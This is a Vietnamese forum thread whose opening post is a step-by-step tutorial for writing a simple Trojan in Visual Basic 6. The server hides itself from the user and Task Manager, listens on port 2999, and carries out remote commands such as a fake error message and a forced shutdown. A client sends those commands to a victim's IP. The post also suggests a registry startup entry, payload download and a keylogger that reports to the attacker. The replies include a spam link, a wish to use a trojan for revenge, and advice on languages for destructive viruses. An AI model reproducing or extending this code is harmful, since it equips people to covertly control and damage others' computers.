Follow us on...
Follow us on Twitter Follow us on Facebook Watch us on YouTube

Giúp các bé đáng thương ấy với

Gameshow “Ai Là Triệu Phú” trên VTV đang chờ đón bạn – Tải ngay!

Bán đấu giá ủng hộ từ thiện

Sự kiện công nghệ lớn nhất trong năm của Sony sắp đổ bộ Hà Nội

Chiêm ngưỡng BaoMoi đẹp "tuyệt diệu" trên Windows Phone

Tin tức công nghệ mới
kết quả từ 1 tới 14 trên 14
  1. #1
    maihung2009's Avatar
    maihung2009 vẫn chưa có mặt trong diễn đàn Rìu Sắt Đôi
    Tham gia
    Nov 2008
    Đến từ
    Bình Định
    Bài
    261
    Cảm ơn
    130
    Điểm
    380/35 bài viết

    Default Cách viết Trojan đơn giản!

    Tôi đăng bài này không phải mục đích khuyến khích các bạn viết virus phá hoại dữ liệu người dùng mà chỉ muốn qua bài viết này các bạn có thể hiểu biết một phần nào đó về cách xây dựng một virus. Qua đây các bạn cũng có thể xây dựng các ý tưởng về một phần mềm chống virus khi chúng ta biết rõ đường đi của một virus mạng.

    Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh.

    Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần “trojan” thực.

    Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.

    Server

    Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.
    Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:

    Private Sub Form_Load()
    Me.Visible = False
    End Sub

    Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:

    Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    End Sub

    (Trong hệ điều hành Windows, tất cả chương trình có đuôi .exe đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong Running Applications List )

    Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.

    Đầu tiên là làm sao cho nó có thể “nghe” được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển Winsock Control.

    Tôi đặt tên cho điều khiển của tôi là “win”. Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý.

    Để làm cho Trojan “nghe” được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:

    Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    win.LocalPort = 2999
    win.RemotePort = 455
    win.Listen
    End Sub

    Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.

    Bây giờ, chương trình đã có thể “nghe”, nhưng chưa làm được điều gì rõ ràng cả.

    Chúng ta thêm đoạn mã sau vào form chính:

    Private Sub win_ConnectionRequest(ByVal requestID As Long)
    win.Close
    win.Accept requestID
    End Sub

    Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
    End Sub

    Tiếp theo, chúng ta sẽ viết hàm DoActions như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm DoActions mà chúng ta sẽ viết dưới đây.

    Hàm DoActions nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:

    Public Function DoActions(x As String)
    Select Case x
    Case “msgbox”
    Msgbox “The file C:\windows\getboobies.exe has caused an error and will be terminated”,vbCritical,”Critical Error”
    Case “shutdown”
    shell “shutdown -s -f -t 00″
    End Select
    End Function

    Bây giờ bạn đã có một chương trình mà khi dữ liệu “Msgbox” được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu “shutdown” được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh “Select Case” để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.

    Main Form

    Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    win.LocalPort = 2999
    win.RemotePort = 455
    win.Listen
    End Sub

    Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
    win.Close
    win.Accept requestID
    End Sub

    Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
    End Sub

    Hãy nhớ thêm điều khiển winsock và đặt tên nó là “win” nếu bạn dùng đoạn mã này:

    Module

    Public Function DoActions(x As String)
    Select Case x
    Case “msgbox”
    Msgbox “The file C:\windows\getboobies.exe has caused an error and will be terminated”,vbCritical,”Critical Error”
    Case “shutdown”
    shell “shutdown -s -f -t 00″
    End Select
    End Function

    Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.

    Client

    Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh “shutdown”, “msgbox”, chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.

    Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là txtIP, các nút được đặt tên là cmdConnect, cmdMsgbox, cmdShutdown và cmdDisconnect. Đoạn mã như sau:

    Private Sub cmdConnect_Click()
    IpAddy = txtIp.Text
    Win.Close
    Win.RemotePort = 2999
    Win.RemoteHost = IpAddy
    Win.LocalPort = 9999
    Win.Connect
    cmdConnect.Enabled = False
    End Sub

    Private Sub cmdDisconnect_Click()
    Win.Close
    cmdConnect.Enabled = True
    End Sub

    Private Sub cmdMsgbox_Click()
    Win.SendData “msgbox”
    End Sub

    Private Sub cmdShutdown_Click()
    Win.SendData “shutdown”
    End Sub

    Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu “shutdown” hay “msgbox” tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).

    Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh chóng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.

    Lời khuyên

    Hãy làm cho server có thể tải được một file đặc tả của người tấn công.

    Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).

    Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.

    Có rất nhiều cách bạn có thể làm, chỉ cần dùng trí tưởng tượng của bạn.

  2. Có 6 thành viên cảm ơn maihung2009 cho bài viết này:
    982486 (04-10-2009), anhphu18 (03-08-2009), kenjiknight (15-03-2009), psbt (14-03-2009), traunhoxauxi (20-03-2009), vodanh_honguyen (14-03-2009)

  3. #2
    kakike223's Avatar
    kakike223 vẫn chưa có mặt trong diễn đàn Rìu Sắt
    Tham gia
    Oct 2008
    Bài
    166
    Cảm ơn
    2.084
    Điểm
    96/58 bài viết

    Default

    thank you nha

  4. #3
    kenjiknight's Avatar
    kenjiknight vẫn chưa có mặt trong diễn đàn Thành viên đang bị kỷ luật
    Tham gia
    Aug 2008
    Đến từ
    chưa rõ
    Bài
    262
    Cảm ơn
    281
    Điểm
    33/29 bài viết

    Default

    cái này thực sự bổ ích để mình đọc thêm thank trước nha

  5. #4
    pdtg50's Avatar
    pdtg50 vẫn chưa có mặt trong diễn đàn Rìu Chiến
    Tham gia
    May 2008
    Đến từ
    Thiên Đàn
    Bài
    2.005
    Cảm ơn
    791
    Điểm
    494/340 bài viết

    Default

    dọc mà không hiểu thì đọc làm gì. muốn làm mấy con này bạn phải có hiểu biết sơ sơ về lập trình c. rồi sau đó tự do phát triển.
    mà hình như chương trình trên viết trên visual đó. bạn nắm vững nó thì mọi thứ bạn có thể làm tùy theo trí tưởng tượng của bạn thôi

    Nghiệp bá ngàn năm trải trăm trận mới giành thắng lợi
    Dậy bốn phương trời, tiếng gió gầm như tiếng thác mừng công
    Gió ngựa xông pha giương cung lớn bắn chim điêu bay lượn
    Cả đất trời như nằm gọn trong ta

  6. #5
    WhyDeath's Avatar
    WhyDeath vẫn chưa có mặt trong diễn đàn Rìu Chiến Vàng
    Tham gia
    Aug 2008
    Đến từ
    ٩(-̮̮̃ -̃)۶El paraíso del infierno٩(̾●̮̮̃̾•̃̾)۶
    Bài
    7.154
    Cảm ơn
    1.180
    Điểm
    3.993/1.835 bài viết

    Default

    Nếu như vậy thì hơi khó hiểu quá

  7. #6
    hijk082's Avatar
    hijk082 vẫn chưa có mặt trong diễn đàn Thành viên đang bị kỷ luật
    Tham gia
    Mar 2009
    Bài
    4
    Cảm ơn
    0
    Điểm
    0/0 bài viết

    Lightbulb Replica Baume

    , Japan, Swiss - Watcheshow.com

  8. #7
    dungthao113's Avatar
    dungthao113 vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    May 2008
    Bài
    12
    Cảm ơn
    16
    Điểm
    0/0 bài viết

    Default

    thế này thì chỉ cần 1 chương trình diệt Virus nhỏ cũng đủ diệt òi. mất công

  9. #8
    zava123's Avatar
    zava123 vẫn chưa có mặt trong diễn đàn Búa Đá Đôi
    Tham gia
    Apr 2009
    Bài
    85
    Cảm ơn
    19
    Điểm
    7/6 bài viết

    Default

    hic..con này sống được bao nhiêu s nhi???? vừa biết xong KAV chưa diệt thì BK "thịt" rùi

  10. #9
    Chianti's Avatar
    Chianti vẫn chưa có mặt trong diễn đàn Rìu Chiến
    Tham gia
    Jun 2009
    Đến từ
    Hà Nội
    Bài
    1.659
    Cảm ơn
    1.771
    Điểm
    2.527/716 bài viết

    Default

    Nhập mã lệnh vào đâu hả bạn?

  11. #10
    infohoanh's Avatar
    infohoanh vẫn chưa có mặt trong diễn đàn Cống hiến cho [V-Z]
    Tham gia
    Mar 2008
    Đến từ
    Phố Hàng Ốc !
    Bài
    3.517
    Cảm ơn
    1.542
    Điểm
    7.334/1.652 bài viết

    Default

    Các bạn hỏi cũng vô ích à, Thực ra bài này đâu phải tự ban maihung2009 viết ra đâu. Cái này trên 4rum cũng có từ lâu rồi. mà tôi nhớ không nhầm thì bài này được trích trong 1 cuốn Ebook nào đó, hình như của HVA thì phải. Mong maihung2009 hay tìm kiếm trước khi viết bài. Thân !
    Thay đổi nội dung bởi infohoanh; 23-07-2009 lúc 09:40. Lý do: Hệ thống nhập bài tự động


  12. #11
    mjssU4ever's Avatar
    mjssU4ever vẫn chưa có mặt trong diễn đàn Rìu Chiến
    Tham gia
    Nov 2008
    Đến từ
    Shotacon's Heaven
    Bài
    1.830
    Cảm ơn
    262
    Điểm
    1.126/372 bài viết

    Default

    Mình thì còn chưa rành Pascal thì làm sao mà hiểu nổi cái này

  13. #12
    hoanglong2793's Avatar
    hoanglong2793 vẫn chưa có mặt trong diễn đàn Búa Đá Đôi
    Tham gia
    Jun 2008
    Bài
    108
    Cảm ơn
    13
    Điểm
    38/23 bài viết

    Default

    Dạo này sao lại thích Post bài này thế nhỉ. Bài này bữa thấy có bạn nào Post một lần rồi mà. Mà mấy cài này cũng đâu phải do bạn đó viết đâu sao cứ thích Post thế nhỉ?

  14. #13
    zino0ozin's Avatar
    zino0ozin vẫn chưa có mặt trong diễn đàn Rìu Sắt
    Tham gia
    Jan 2008
    Bài
    123
    Cảm ơn
    156
    Điểm
    32/24 bài viết

    Default

    Ước gì mình có thể viết được một con trojan để đòi lại công sức của mình nhỉ {vì đôi khi đi cài máy mà họ không trả công }
    Kiến thức không phải của riêng ai

  15. #14
    coolkg1412's Avatar
    coolkg1412 vẫn chưa có mặt trong diễn đàn Rìu Bạc Đôi
    Tham gia
    Mar 2008
    Đến từ
    Trong gió
    Bài
    653
    Cảm ơn
    67
    Điểm
    274/147 bài viết

    Default

    Bài này là đồ củ rồi

    À và mình cũng muốn cho các bạn thích viết Virus để phá hoại 1 lời khuyên :"Đừng nên viết VR= VB6 mà hãy dùng Autoit C++ hay delphi bởi vì VB6 cần nhiều thư viện mà máy ko có "
    Loney..no lovee!!

  16. Có 1 thành viên cảm ơn coolkg1412 cho bài viết này:
    anhphu18 (03-08-2009)

 

 

Quyền sử dụng

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể tự sửa bài viết của mình
  •